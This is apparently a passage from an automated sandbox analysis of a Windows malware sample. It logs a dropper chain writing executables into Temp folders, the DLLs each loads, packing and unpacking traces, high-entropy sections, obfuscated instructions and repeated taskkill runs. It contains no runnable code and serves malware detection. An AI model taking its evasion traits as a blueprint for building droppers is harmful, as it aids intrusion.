Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\529CUIG0QU5WLQ1L1F8J4L.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\529CUIG0QU5WLQ1L1F8J4L.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\529CUIG0QU5WLQ1L1F8J4L.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\529CUIG0QU5WLQ1L1F8J4L.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: schannel.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll

Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 3014144 > 1048576

Source: file.exe

Static PE information: Raw size of xoqsqsvt is bigger than: 0x100000 < 0x2b4400

Source:	Binary string: my_library.pdbU source: c74ef7bd5d.exe, 0000000E.00000002.2202933789.000000000093C000.00000040.00000001.01000000.0000000E.sdmp, c74ef7bd5d.exe, 0000000E.00000003.2160499732.0000000004B3B000.00000004.00001000.00020000.00000000.sdmp, num.exe, 00000027.00000002.2470662469.0000000000F4C000.00000008.00000001.01000000.00000012.sdmp
Source:	Binary string: my_library.pdb source: c74ef7bd5d.exe, 0000000E.00000002.2202933789.000000000093C000.00000040.00000001.01000000.0000000E.sdmp, c74ef7bd5d.exe, 0000000E.00000003.2160499732.0000000004B3B000.00000004.00001000.00020000.00000000.sdmp, num.exe, 00000027.00000002.2470662469.0000000000F4C000.00000008.00000001.01000000.00000012.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe, 00000004.00000003.1566862526.00000000046D0000.00000004.00001000.00020000.00000000.sdmp, APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe, 00000004.00000002.1703152835.0000000000EF2000.00000040.00000001.01000000.00000006.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Unpacked PE file: 4.2.APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe.ef0000.0.unpack :EW;.rsrc:W;.idata :W;mljriapp:EW;mudtavgt:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Unpacked PE file: 5.2.OQ8LP4972W0L2P9TRRG7I8.exe.440000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lltvbtub:EW;makelupg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lltvbtub:EW;makelupg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.860000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lltvbtub:EW;makelupg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lltvbtub:EW;makelupg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 7.2.skotes.exe.860000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lltvbtub:EW;makelupg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lltvbtub:EW;makelupg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Unpacked PE file: 13.2.3cbc500e8f.exe.fd0000.0.unpack :EW;.rsrc:W;.idata :W;xoqsqsvt:EW;yvvklzuq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xoqsqsvt:EW;yvvklzuq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Unpacked PE file: 14.2.c74ef7bd5d.exe.910000.0.unpack :EW;.rsrc :W;.idata :W; :EW;qjfwfzym:EW;mmzyrysa:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;qjfwfzym:EW;mmzyrysa:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Unpacked PE file: 34.2.c74ef7bd5d.exe.910000.0.unpack :EW;.rsrc :W;.idata :W; :EW;qjfwfzym:EW;mmzyrysa:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;qjfwfzym:EW;mmzyrysa:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.9.dr	Static PE information: real checksum: 0x2e167c should be: 0x2e4152
Source: num.exe.9.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe.1.dr	Static PE information: real checksum: 0x2c41f0 should be: 0x2c478b
Source: random[1].exe0.9.dr	Static PE information: real checksum: 0x21b931 should be: 0x2157af
Source: skotes.exe.5.dr	Static PE information: real checksum: 0x1c9b61 should be: 0x1ca7a3
Source: 3cbc500e8f.exe.9.dr	Static PE information: real checksum: 0x2e167c should be: 0x2e4152
Source: file.exe	Static PE information: real checksum: 0x2e167c should be: 0x2e4152
Source: 529CUIG0QU5WLQ1L1F8J4L.exe.15.dr	Static PE information: real checksum: 0x1c9b61 should be: 0x1ca7a3
Source: OQ8LP4972W0L2P9TRRG7I8.exe.1.dr	Static PE information: real checksum: 0x1c9b61 should be: 0x1ca7a3
Source: DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe.15.dr	Static PE information: real checksum: 0x2c41f0 should be: 0x2c478b
Source: c74ef7bd5d.exe.9.dr	Static PE information: real checksum: 0x21b931 should be: 0x2157af
Source: num[1].exe.9.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: xoqsqsvt
Source: file.exe	Static PE information: section name: yvvklzuq
Source: file.exe	Static PE information: section name: .taggant
Source: APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe.1.dr	Static PE information: section name:
Source: APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe.1.dr	Static PE information: section name: .idata
Source: APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe.1.dr	Static PE information: section name: mljriapp
Source: APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe.1.dr	Static PE information: section name: mudtavgt
Source: APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe.1.dr	Static PE information: section name: .taggant
Source: OQ8LP4972W0L2P9TRRG7I8.exe.1.dr	Static PE information: section name:
Source: OQ8LP4972W0L2P9TRRG7I8.exe.1.dr	Static PE information: section name: .idata
Source: OQ8LP4972W0L2P9TRRG7I8.exe.1.dr	Static PE information: section name:
Source: OQ8LP4972W0L2P9TRRG7I8.exe.1.dr	Static PE information: section name: lltvbtub
Source: OQ8LP4972W0L2P9TRRG7I8.exe.1.dr	Static PE information: section name: makelupg
Source: OQ8LP4972W0L2P9TRRG7I8.exe.1.dr	Static PE information: section name: .taggant
Source: skotes.exe.5.dr	Static PE information: section name:
Source: skotes.exe.5.dr	Static PE information: section name: .idata
Source: skotes.exe.5.dr	Static PE information: section name:
Source: skotes.exe.5.dr	Static PE information: section name: lltvbtub
Source: skotes.exe.5.dr	Static PE information: section name: makelupg
Source: skotes.exe.5.dr	Static PE information: section name: .taggant
Source: random[1].exe.9.dr	Static PE information: section name:
Source: random[1].exe.9.dr	Static PE information: section name: .idata
Source: random[1].exe.9.dr	Static PE information: section name: xoqsqsvt
Source: random[1].exe.9.dr	Static PE information: section name: yvvklzuq
Source: random[1].exe.9.dr	Static PE information: section name: .taggant
Source: 3cbc500e8f.exe.9.dr	Static PE information: section name:
Source: 3cbc500e8f.exe.9.dr	Static PE information: section name: .idata
Source: 3cbc500e8f.exe.9.dr	Static PE information: section name: xoqsqsvt
Source: 3cbc500e8f.exe.9.dr	Static PE information: section name: yvvklzuq
Source: 3cbc500e8f.exe.9.dr	Static PE information: section name: .taggant
Source: random[1].exe0.9.dr	Static PE information: section name:
Source: random[1].exe0.9.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.9.dr	Static PE information: section name: .idata
Source: random[1].exe0.9.dr	Static PE information: section name:
Source: random[1].exe0.9.dr	Static PE information: section name: qjfwfzym
Source: random[1].exe0.9.dr	Static PE information: section name: mmzyrysa
Source: random[1].exe0.9.dr	Static PE information: section name: .taggant
Source: c74ef7bd5d.exe.9.dr	Static PE information: section name:
Source: c74ef7bd5d.exe.9.dr	Static PE information: section name: .rsrc
Source: c74ef7bd5d.exe.9.dr	Static PE information: section name: .idata
Source: c74ef7bd5d.exe.9.dr	Static PE information: section name:
Source: c74ef7bd5d.exe.9.dr	Static PE information: section name: qjfwfzym
Source: c74ef7bd5d.exe.9.dr	Static PE information: section name: mmzyrysa
Source: c74ef7bd5d.exe.9.dr	Static PE information: section name: .taggant
Source: DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe.15.dr	Static PE information: section name:
Source: DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe.15.dr	Static PE information: section name: .idata
Source: DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe.15.dr	Static PE information: section name: mljriapp
Source: DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe.15.dr	Static PE information: section name: mudtavgt
Source: DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe.15.dr	Static PE information: section name: .taggant
Source: 529CUIG0QU5WLQ1L1F8J4L.exe.15.dr	Static PE information: section name:
Source: 529CUIG0QU5WLQ1L1F8J4L.exe.15.dr	Static PE information: section name: .idata
Source: 529CUIG0QU5WLQ1L1F8J4L.exe.15.dr	Static PE information: section name:
Source: 529CUIG0QU5WLQ1L1F8J4L.exe.15.dr	Static PE information: section name: lltvbtub
Source: 529CUIG0QU5WLQ1L1F8J4L.exe.15.dr	Static PE information: section name: makelupg
Source: 529CUIG0QU5WLQ1L1F8J4L.exe.15.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_01202D4C push eax; retf	1_3_01202D4D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_01202D4C push eax; retf	1_3_01202D4D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_01202D4C push eax; retf	1_3_01202D4D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_01202D4C push eax; retf	1_3_01202D4D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_01202D4C push eax; retf	1_3_01202D4D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_01202D4C push eax; retf	1_3_01202D4D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_01202D4C push eax; retf	1_3_01202D4D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_01202D4C push eax; retf	1_3_01202D4D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_01202D4C push eax; retf	1_3_01202D4D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_01202D4C push eax; retf	1_3_01202D4D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_01202D4C push eax; retf	1_3_01202D4D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_01202D4C push eax; retf	1_3_01202D4D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_01202D4C push eax; retf	1_3_01202D4D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_01202D4C push eax; retf	1_3_01202D4D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_01202D4C push eax; retf	1_3_01202D4D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_01202D4C push eax; retf	1_3_01202D4D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_01202D4C push eax; retf	1_3_01202D4D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_01202D4C push eax; retf	1_3_01202D4D
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Code function: 4_2_0108984B push 410BC413h; mov dword ptr [esp], esp	4_2_010898D2
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Code function: 4_2_0108984B push 20FE0D6Fh; mov dword ptr [esp], eax	4_2_01089961
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Code function: 4_2_00EFEBE0 push ecx; mov dword ptr [esp], 2424DFB7h	4_2_00EFF762
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Code function: 4_2_01099A66 push ebx; mov dword ptr [esp], 6781B220h	4_2_01099A7A
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Code function: 4_2_00EFED80 push 1B57FC02h; mov dword ptr [esp], ebx	4_2_00EFF596
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Code function: 4_2_00EFED80 push edi; mov dword ptr [esp], 70FD6605h	4_2_00EFF707
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Code function: 4_2_010896DD push edi; mov dword ptr [esp], 7DFF2820h	4_2_01089726
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Code function: 4_2_0109D109 push eax; mov dword ptr [esp], ecx	4_2_0109D10A
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Code function: 4_2_0109D109 push ecx; mov dword ptr [esp], ebx	4_2_0109D126
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Code function: 4_2_0108B90F push ecx; mov dword ptr [esp], 41024B27h	4_2_0108B916
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Code function: 4_2_0108B90F push eax; mov dword ptr [esp], 6CBF5E06h	4_2_0108C2CE
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Code function: 4_2_00F010F8 push eax; mov dword ptr [esp], edx	4_2_00F039C2
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Code function: 4_2_0108B907 push 0F011E17h; mov dword ptr [esp], edi	4_2_0108C51B

Source: file.exe	Static PE information: section name: entropy: 7.974942368465951
Source: APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe.1.dr	Static PE information: section name: entropy: 7.711704641489236
Source: OQ8LP4972W0L2P9TRRG7I8.exe.1.dr	Static PE information: section name: entropy: 7.976755585898077
Source: OQ8LP4972W0L2P9TRRG7I8.exe.1.dr	Static PE information: section name: lltvbtub entropy: 7.953790207627752
Source: skotes.exe.5.dr	Static PE information: section name: entropy: 7.976755585898077
Source: skotes.exe.5.dr	Static PE information: section name: lltvbtub entropy: 7.953790207627752
Source: random[1].exe.9.dr	Static PE information: section name: entropy: 7.974942368465951
Source: 3cbc500e8f.exe.9.dr	Static PE information: section name: entropy: 7.974942368465951
Source: random[1].exe0.9.dr	Static PE information: section name: qjfwfzym entropy: 7.953652155479006
Source: c74ef7bd5d.exe.9.dr	Static PE information: section name: qjfwfzym entropy: 7.953652155479006
Source: DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe.15.dr	Static PE information: section name: entropy: 7.711704641489236
Source: 529CUIG0QU5WLQ1L1F8J4L.exe.15.dr	Static PE information: section name: entropy: 7.976755585898077
Source: 529CUIG0QU5WLQ1L1F8J4L.exe.15.dr	Static PE information: section name: lltvbtub entropy: 7.953790207627752

Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File created: C:\Users\user\AppData\Local\Temp\529CUIG0QU5WLQ1L1F8J4L.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Jump to dropped file
